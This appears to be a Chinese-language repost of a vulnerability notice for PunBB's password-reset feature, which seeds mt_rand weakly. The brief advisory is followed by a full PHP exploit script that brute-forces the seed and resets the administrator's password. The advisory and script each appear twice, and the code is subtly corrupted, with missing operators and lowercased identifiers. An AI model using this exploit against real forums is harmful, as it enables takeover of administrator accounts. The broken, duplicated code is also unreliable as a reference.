PunBB口令重置弱随机数绕过安全限制漏洞
程序员文章站
2022-09-30 13:27:59
PunBB是一款基于PHP的论坛程序。
PunBB的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。
如果用户忘记了口令的话,可使用PunBB的口令重置... 08-10-08...
punbb是一款基于php的论坛程序。
punbb的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。
如果用户忘记了口令的话,可使用punbb的口令重置功能重置。在请求口令重置后,论坛会向用户发送一封邮件,包含有一个新的随机口令以及激活链接,用户必须点击这个链接才能使口令更改生效。
punbb的口令重置功能使用mt_rand()生成新口令和激活链接,但在初始化马特赛特旋转演算法随机数生成器时使用了0到1,000,000之间的随机数,具体取决于当前的微秒,也就是只有100万个可能的新口令和激活链接。攻击者可以暴力猜测这个有限的区域,判断重置的口令并激活。
<?php
/**
* original : http://www.winshell.cn/2008-01.txt
* thanks to stefan esser, here's the exploit.
*
* team : epibite
* firefox, petit-poney, thot
* nous tenons a remercier nos mamans et papas respectifs.
* let's get a fu*** coffee !
*/
// conf
define('url', 'http://localhost/punbb_1-2-16_fr/upload'); // base url
define('email', 'login_x@epitech.net'); // your email
define('login', 'login_x'); // your login
define('pass', '620553.8i73'); // your pass
// exploit
printf("--\nurl : %s\nemail : %s\n--\n", url, email);
$h = curl_init();
curl_setopt($h, curlopt_url,
url.'/userlist.php?username=&show_group=-1&sort_by=registered&sort_dir=asc&search=envoyer');
curl_setopt($h, curlopt_returntransfer, 1);
$s = curl_exec($h);
preg_match('/profile\.php\?id=([0-9]*)">([^<]*)</', $s, $m);
define('admin', $m[2]);
preg_match('/<td class="tcr">([0-9]{4})-([0-9]{2})-([0-9]{2})<\/td/', $s, $m);
if (count($m))
define('date', mktime(0, 0, 0, $m[2], $m[3], $m[1]));
else
define('date', time() - 86400); //just in case, the forum or account just has been created
printf("admin : %s\ndate : %s\n--\n", admin, date);
$h = curl_init();
curl_setopt($h, curlopt_url, url.'/login.php?action=forget_2');
// curl_setopt($h, curlopt_proxy, 'proxies.epitech.net:3128');
curl_setopt($h, curlopt_returntransfer, 1);
curl_setopt($h, curlopt_header, 1);
curl_setopt($h, curlopt_post, 1);
curl_setopt($h, curlopt_postfields, implode('&', array('form_sent=1',
'req_email='.urlencode(email),
'request_pass=envoyer')));
preg_match('/mailto:([^"]*)"/', curl_exec($h), $m);
define('admin_mail', $m[1]); // admin email (normally automatically get, set manually if there's problem)
printf("admin mail : %s\n--\n", admin_mail);
$h = curl_init();
curl_setopt($h, curlopt_url, url.'/login.php?action=forget_2');
curl_setopt($h, curlopt_returntransfer, 1);
// curl_setopt($h, curlopt_proxy, 'proxies.epitech.net:3128');
curl_setopt($h, curlopt_cookie,
'punbb_cookie='.rawurlencode(serialize(array(0 => 2, 1 =>
md5('bite')))));
curl_setopt($h, curlopt_header, 1);
curl_setopt($h, curlopt_post, 1);
curl_setopt($h, curlopt_postfields, implode('&', array('form_sent=1',
'req_email='.urlencode(admin_mail),
'request_pass=envoyer')));
$s = curl_exec($h);
preg_match('/set-cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('md5_not_loggued', $c[1]);
printf("md5 not loggued : %s\n--\n", md5_not_loggued);
$h = curl_init();
curl_setopt($h, curlopt_url, url.'/login.php?action=in');
curl_setopt($h, curlopt_returntransfer, 1);
curl_setopt($h, curlopt_header, 1);
// curl_setopt($h, curlopt_proxy, 'proxies.epitech.net:3128');
curl_setopt($h, curlopt_post, 1);
curl_setopt($h, curlopt_postfields, implode('&', array('form_sent=1',
'redirect_url=index.php',
'req_username='.login,
'req_password='.pass)));
$s = curl_exec($h);
preg_match('/set-cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('md5_loggued', $c[1]);
printf("md5 loggued : %s\n--\n", md5_loggued);
define('pass_md5ed', sha1(pass));
$chars = array('/', '-', "\\", '|');
for ($p = 0; $p < 86400 * 2; $p )
{
if (!($p % 300))
echo $chars[($p / 300) % 4]."\r";
if (strcmp(md5_loggued, md5(substr(md5((int)(date $p)),
-8).pass_md5ed)) == 0)
{
define('seed', substr(md5(date $p), -8));
break;
}
}
printf("seed : %s\n--\n", seed);
for ($p = 0; $p < 1000000; $p )
{
if (!($p % 300))
echo $chars[($p / 300) % 4]."\r";
mt_srand((double)$p);
if (strcmp(md5(seed.random_pass(8)), md5_not_loggued) == 0)
{
define('srand', $p);
break;
}
}
printf("srand : %s\n--\n", srand);
mt_srand(srand);
random_pass(8);
printf("new password : %s\n--\n", random_pass(8));
$url = url.'/profile.php?id=2&action=change_pass&key='.random_pass(8);// id is set to '2' (the admin's id, but you can change your target)
$h = curl_init();
curl_setopt($h, curlopt_url, $url);
curl_setopt($h, curlopt_returntransfer, 1);
curl_exec($h);
function random_pass($len)
{
$chars = 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789';
$password = '';
for ($i = 0; $i < $len; $i)
$password .= substr($chars, (mt_rand() % strlen($chars)), 1);
return $password;
}
?>
punbb的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。
如果用户忘记了口令的话,可使用punbb的口令重置功能重置。在请求口令重置后,论坛会向用户发送一封邮件,包含有一个新的随机口令以及激活链接,用户必须点击这个链接才能使口令更改生效。
punbb的口令重置功能使用mt_rand()生成新口令和激活链接,但在初始化马特赛特旋转演算法随机数生成器时使用了0到1,000,000之间的随机数,具体取决于当前的微秒,也就是只有100万个可能的新口令和激活链接。攻击者可以暴力猜测这个有限的区域,判断重置的口令并激活。
<?php
/**
* original : http://www.winshell.cn/2008-01.txt
* thanks to stefan esser, here's the exploit.
*
* team : epibite
* firefox, petit-poney, thot
* nous tenons a remercier nos mamans et papas respectifs.
* let's get a fu*** coffee !
*/
// conf
define('url', 'http://localhost/punbb_1-2-16_fr/upload'); // base url
define('email', 'login_x@epitech.net'); // your email
define('login', 'login_x'); // your login
define('pass', '620553.8i73'); // your pass
// exploit
printf("--\nurl : %s\nemail : %s\n--\n", url, email);
$h = curl_init();
curl_setopt($h, curlopt_url,
url.'/userlist.php?username=&show_group=-1&sort_by=registered&sort_dir=asc&search=envoyer');
curl_setopt($h, curlopt_returntransfer, 1);
$s = curl_exec($h);
preg_match('/profile\.php\?id=([0-9]*)">([^<]*)</', $s, $m);
define('admin', $m[2]);
preg_match('/<td class="tcr">([0-9]{4})-([0-9]{2})-([0-9]{2})<\/td/', $s, $m);
if (count($m))
define('date', mktime(0, 0, 0, $m[2], $m[3], $m[1]));
else
define('date', time() - 86400); //just in case, the forum or account just has been created
printf("admin : %s\ndate : %s\n--\n", admin, date);
$h = curl_init();
curl_setopt($h, curlopt_url, url.'/login.php?action=forget_2');
// curl_setopt($h, curlopt_proxy, 'proxies.epitech.net:3128');
curl_setopt($h, curlopt_returntransfer, 1);
curl_setopt($h, curlopt_header, 1);
curl_setopt($h, curlopt_post, 1);
curl_setopt($h, curlopt_postfields, implode('&', array('form_sent=1',
'req_email='.urlencode(email),
'request_pass=envoyer')));
preg_match('/mailto:([^"]*)"/', curl_exec($h), $m);
define('admin_mail', $m[1]); // admin email (normally automatically get, set manually if there's problem)
printf("admin mail : %s\n--\n", admin_mail);
$h = curl_init();
curl_setopt($h, curlopt_url, url.'/login.php?action=forget_2');
curl_setopt($h, curlopt_returntransfer, 1);
// curl_setopt($h, curlopt_proxy, 'proxies.epitech.net:3128');
curl_setopt($h, curlopt_cookie,
'punbb_cookie='.rawurlencode(serialize(array(0 => 2, 1 =>
md5('bite')))));
curl_setopt($h, curlopt_header, 1);
curl_setopt($h, curlopt_post, 1);
curl_setopt($h, curlopt_postfields, implode('&', array('form_sent=1',
'req_email='.urlencode(admin_mail),
'request_pass=envoyer')));
$s = curl_exec($h);
preg_match('/set-cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('md5_not_loggued', $c[1]);
printf("md5 not loggued : %s\n--\n", md5_not_loggued);
$h = curl_init();
curl_setopt($h, curlopt_url, url.'/login.php?action=in');
curl_setopt($h, curlopt_returntransfer, 1);
curl_setopt($h, curlopt_header, 1);
// curl_setopt($h, curlopt_proxy, 'proxies.epitech.net:3128');
curl_setopt($h, curlopt_post, 1);
curl_setopt($h, curlopt_postfields, implode('&', array('form_sent=1',
'redirect_url=index.php',
'req_username='.login,
'req_password='.pass)));
$s = curl_exec($h);
preg_match('/set-cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('md5_loggued', $c[1]);
printf("md5 loggued : %s\n--\n", md5_loggued);
define('pass_md5ed', sha1(pass));
$chars = array('/', '-', "\\", '|');
for ($p = 0; $p < 86400 * 2; $p )
{
if (!($p % 300))
echo $chars[($p / 300) % 4]."\r";
if (strcmp(md5_loggued, md5(substr(md5((int)(date $p)),
-8).pass_md5ed)) == 0)
{
define('seed', substr(md5(date $p), -8));
break;
}
}
printf("seed : %s\n--\n", seed);
for ($p = 0; $p < 1000000; $p )
{
if (!($p % 300))
echo $chars[($p / 300) % 4]."\r";
mt_srand((double)$p);
if (strcmp(md5(seed.random_pass(8)), md5_not_loggued) == 0)
{
define('srand', $p);
break;
}
}
printf("srand : %s\n--\n", srand);
mt_srand(srand);
random_pass(8);
printf("new password : %s\n--\n", random_pass(8));
$url = url.'/profile.php?id=2&action=change_pass&key='.random_pass(8);// id is set to '2' (the admin's id, but you can change your target)
$h = curl_init();
curl_setopt($h, curlopt_url, $url);
curl_setopt($h, curlopt_returntransfer, 1);
curl_exec($h);
function random_pass($len)
{
$chars = 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789';
$password = '';
for ($i = 0; $i < $len; $i)
$password .= substr($chars, (mt_rand() % strlen($chars)), 1);
return $password;
}
?>
下一篇: 辅助在哪里?